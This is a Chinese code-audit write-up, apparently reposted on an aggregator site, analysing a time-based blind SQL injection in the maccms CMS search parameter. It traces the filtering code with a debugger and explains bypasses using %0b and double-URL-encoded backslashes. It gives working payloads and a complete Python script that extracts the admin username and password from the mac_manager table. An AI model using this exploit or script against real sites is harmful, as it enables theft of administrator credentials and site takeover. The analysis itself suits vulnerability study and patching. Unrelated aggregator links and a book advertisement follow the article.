内容简介:已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。Web: phpstudySystem: Windows 10 X64
0x01 前言
已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。
0x02 环境
Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代码审计工具
搭建这个程序也挺简单的,也是一步到位。
0x03 漏洞复现
- 首先在程序的后台添加一条数据
- 执行我们的payload,可以看到网站跳转延迟了3s以上。
url:http://sb.com/index.php?m=vod-search
post:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63
- 因为是盲注所以注入出管理员的账号密码在下文分析。
0x04 SQL 执行过程分析
- 先弄清楚sql是如何执行的一个过程,然后再去分析怎么会造成SQL注入的一个过程,这样对学习代码审计也是一个好处。
因为是动态分析,不会的安装调试环境的请到这篇文章按步骤完成安装https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/ - phpstorm打开这个选项,意思就是断在当前脚本文件的第一行,我就不下断点了,跟着它执行的过程走一遍。
- 我们先随便输入一点数据
访问后会断在index.php的第一行
- F8往下走,走到第14行F7跟进去。
然后F8一直往下走,可以看到拦截的规则
走到POST的过滤这里F7进去
arr_foreach
函数检查传过来的值是否是数组,不是数组就返回原数据,然后用urldecode
函数URL解码。
最后分别对传过来的wd
和test
两个值进行匹配,如果存在拦截规则里面的字符就跳转到错误信息。
比如你输入wd=/**/
就会被拦截
因为/**/
存在拦截的正则表达式里面。
- 走出来会到
$m = be('get','m');
这里,这里只是对m
传过来的vod-search
进行addslashes
函数的过滤
- 我怕文章过长,一些不必要的代码自己去细读一遍就行了,F8一直往下周,走到37行F7进去,因为我们传过来的的参数是
vod
,所以会包含vod.php
文件并执行。
- 因为我们传参是
search
所以会走到这里,我们可以F7进去看执行的过程。
在这里会经过urldecode
函数的解码,一直循环到不能解码为止,然后经过刚才的StopAttack
方法的过滤
最后到htmlEncode
方法的替换
- 跳出到
vod.php
文件后F8走到这里,F7进去看SQL执行的过程。
一直走到markname
的值是vod
然后不用管F8继续往下走,走到这里再F7进去
可以看到SQL执行是到这里,下面是执行的语句
SELECT count(*) FROM {pre}vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )
0x05 漏洞分析
上面分析了SQL执行过程,下面分析这个是如何构成SQL注入的。
- 刚才这里跳过了,文件位置:
inc/common/template.php
,可以看到传过来的P["wd"]
值赋值给了$lp['wd']
。
- 再往下看753~755行,可以看到我们的值是放在这里面,然后送去
GetOne
执行的。if (!empty($lp['wd'])){ $where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) '; }
- 构造的语句,只有中间才是执行的语句,前一句是为了闭合单引号,后面是注释。如果这里不清楚的可以用 MySQL 监控的软件去一步一步弄清楚。
SELECT count(*) FROM mac_vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,')) ||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0) #\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )
- 但是如果直接放语句上去会被检测到危险字符
它主要对我们这里的空格连接处匹配到了
那么我们可以用别名as ‘ ‘去代替,也可以省略as直接用 ‘ ‘,别名的用法在文章尾部的参考有给出。 - 我们再执行,用Seay的代码审计 工具 的Mysql监控软件查看,我们的空格和后面的
\
被转义了。
还记得我们chkSql
方法吗?先是执行urldecode
解码,然后StopAttack
匹配,最后htmlEncode
编码,最后Be
方法那里 还有一个addslashes
函数过滤,所以会导致后面的\
转义成\\
。htmlEncode
又会对前面的空格转义成function chkSql($s) { global $getfilter; if(empty($s)){ return ""; } $d=$s; while(true){ $s = urldecode($d); if($s==$d){ break; } $d = $s; } StopAttack(1,$s,$getfilter); return htmlEncode($s); }
- 这里我们可以利用URL编码绕过
htmlEncode
,具体可以看HTML URL编码表%0c
%0b
等都可以,后面的\
可以用URL编码绕过%5c
或者双编码%25%35%63
- 那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度
wd=))||if((select%0cascii(length((select(m_name)
from(mac_manager))))=53),(sleep
(3)),0)#%5c``
0x06 编写盲注脚本
当然盲注一般都不会手动去,SQLMAP有时候遇到特殊的也是要自己编写注入的脚本,具体代码的意思我就不解读了,自己可以结合 Python 和MySQL的知识理解。
#! /usr/bin/python # -*- coding:utf-8 -*- #author:F0rmat import requests import time dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?" UserName='' UserPass='' UserName_length=0 url='http://sb.com/' url = url + r'/index.php?m=vod-search' def main(): global UserName global url for i in range(30): startTime = time.time() sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format( ord(str(i))) data = {'wd': sql} response = requests.post(url, data=data) # 发送请求 if time.time() - startTime > 3: UserName_length = i print UserName_length break for num in range(1, UserName_length + 1): for i in dict: # 遍历取出字符 startTime = time.time() sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format( str(num), ord(i)) data = {'wd': sql} response = requests.post(url, data=data) # 发送请求 print data if time.time() - startTime > 3: UserName += i break global UserPass for num in range(32): for i in dict: # 遍历取出字符 startTime = time.time() sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format( str(num), ord(i)) data = {'wd': sql} response = requests.post(url, data=data) # 发送请求 print data if time.time() - startTime > 3: UserPass += i break print 'username:'+UserName,'password:'+UserPass if __name__ == '__main__': main()
0x07 总结
有时候学习代码审计,不能因为部分的代码没能读懂就不去理会,其实你读的代码越多,做代码审计也越轻松。
0x08 参考
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 脚本文件里的 Hybrid Script(混合式脚本)
- 脚本错误量极致优化-定位压缩且无 SourceMap 文件的脚本错误
- 如何从PHP脚本(如批处理文件)中运行多个PHP脚本?
- 荐 python脚本如何监听终止进程行为,如何通过脚本名获取pid
- 在新的,干净的PowerShell实例中调用PowerShell脚本(在另一个脚本中)
- 云服务商封杀AI客户:因判定其Python脚本是恶意脚本
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Haskell School of Music
Paul Hudak、Donya Quick / Cambridge University Press / 2018-10-4 / GBP 42.99
This book teaches functional programming through creative applications in music and sound synthesis. Readers will learn the Haskell programming language and explore numerous ways to create music and d......一起来看看 《The Haskell School of Music》 这本书的介绍吧!